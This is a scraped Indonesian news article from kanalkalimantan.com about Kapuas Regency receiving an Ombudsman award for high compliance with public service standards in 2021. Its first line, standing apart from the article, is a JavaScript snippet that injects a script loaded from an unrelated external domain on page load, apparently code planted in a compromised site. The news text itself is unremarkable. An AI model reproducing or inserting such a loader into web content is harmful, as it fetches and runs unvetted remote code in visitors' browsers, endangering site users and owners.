(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas berdasarkan survey kepatuhan standar pelayanan publik tahun 2021 yang dilaksanakan Ombudsman RI Perwakilan Provinsi Kalimantan Tengah, berhasil mendapatkan penghargaan predikat kepatuhan tinggi standar pelayanan publik tahun 2021.
Bupati Kapuas Ir Ben Brahim S Bahat menerima langsung penghargaan yang diserahkan Kepala Ombudsman RI Perwakilan Provinsi Kalimantan Tengah, Raden Biroum Bernardianto di Aula Bappeda Kapuas, Kamis (27/1/2022).
Dalam kegiatan ini juga dihadiri Sekda Kapuas Drs Septedy, Unsur Forkopimda dan sejumlah kepala perangkat daerah Kapuas serta camat.
Bupati Kapuas menyampaikan ucapan terima kasih dan apresiasinya atas perhatian dan penghargaan dari Ombudsman RI Perwakilan Kalteng terhadap Kabupaten Kapuas atas predikat tinggi untuk standar pelayanan publik.
Baca juga : Warga Banjang Buru Minyak Goreng Rp 14 Ribu
“Mudah-mudahan dengan penghargaan ini, semakin menambah semangat kita untuk terus meningkatkan pelayanan sebaik-baiknya dan untuk terus berinovasi secara cerdas terkait bagaimana kita dalam memberikan pelayanan kepada masyarakat dengan baik,” ucap Bupati Kapuas.
Ben Brahim menyampaikan ucapan terima kasih kepada seluruh jajaran Pemkab Kapuas dan juga Dinas terkait, atas penilaian yang sebelumnya telah dilakukan, sehingga Pemerintah Kabupaten Kapuas bisa mendapatkan penghargaan ini.
“Kami tetap memohon bimbingan dan arahan dari Ombudsman RI Perwakilan Kalteng untuk kedepannya, sehingga pelayanan yang diberikan Pemkab Kapuas dapat semakin lebih baik, khususnya dalam hal perbaikan-perbaikan yang diperlukan sehingga kedepannya dapat memberikan pelayanan kearah yang semakin lebih baik,” tutur Bupati Kapuas.
Sementara itu, Kepala Ombudsman RI Perwakilan Provinsi Kalimantan Tengah, Raden Biroum Bernardianto menyebutkan bahwa Kabupaten Kapuas secara nasional menempati urutan ke 67 dari 416 kabupaten se Indonesia dan berada pada tingkat kepatuhan tinggi terhadap pemenuhan standar pelayanan publik atau dikategorikan sebagai zona hijau.
Baca juga : Bupati Barsel Lantik PAW Kades Kalanis
“Tahun ini predikat kepatuhan tinggi diberikan kepada 17 Kementerian, 12 Lembaga, 13 Provinsi, 34 Kota dan 103 Kabupaten, yang mana Pemerintah Kabupaten Kapuas merupakan satu-satunya pemerintah daerah di Provinsi Kalimantan Tengah yang mendapatkan predikat kepatuhan tinggi atau zona hijau terkait penilaian standar pelayanan publik,” ungkap Biroum Bernardianto.
Lebih lanjut, dirinya menuturkan bahwa penilaian ini telah dilakukan sejak bulan Juni sampai September 2021, dimana pengambilan data, baik itu pemerintah provinsi maupun pemerintah kabupaten, kota dan unsur vertikal dilaksanakan oleh Kantor Perwakilan Ombdusman RI Perwakilan Kalimantan Tengah.
Sementara itu, Sekda Kapuas Drs Septedy mengatakan bahwa seluruh unit kerja yang menjadi fokus penilaian kepatuhan dari Ombdusman RI Perwakilan Kalteng, telah memenuhi amanat sebagaimana yang diwajibkan dalam Undang-Undang pelayanan publik, sehingga pelaksanaan penilaian kepatuhan di Pemerintah Kabupaten Kapuas dapat dilaksanakan dengan baik. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.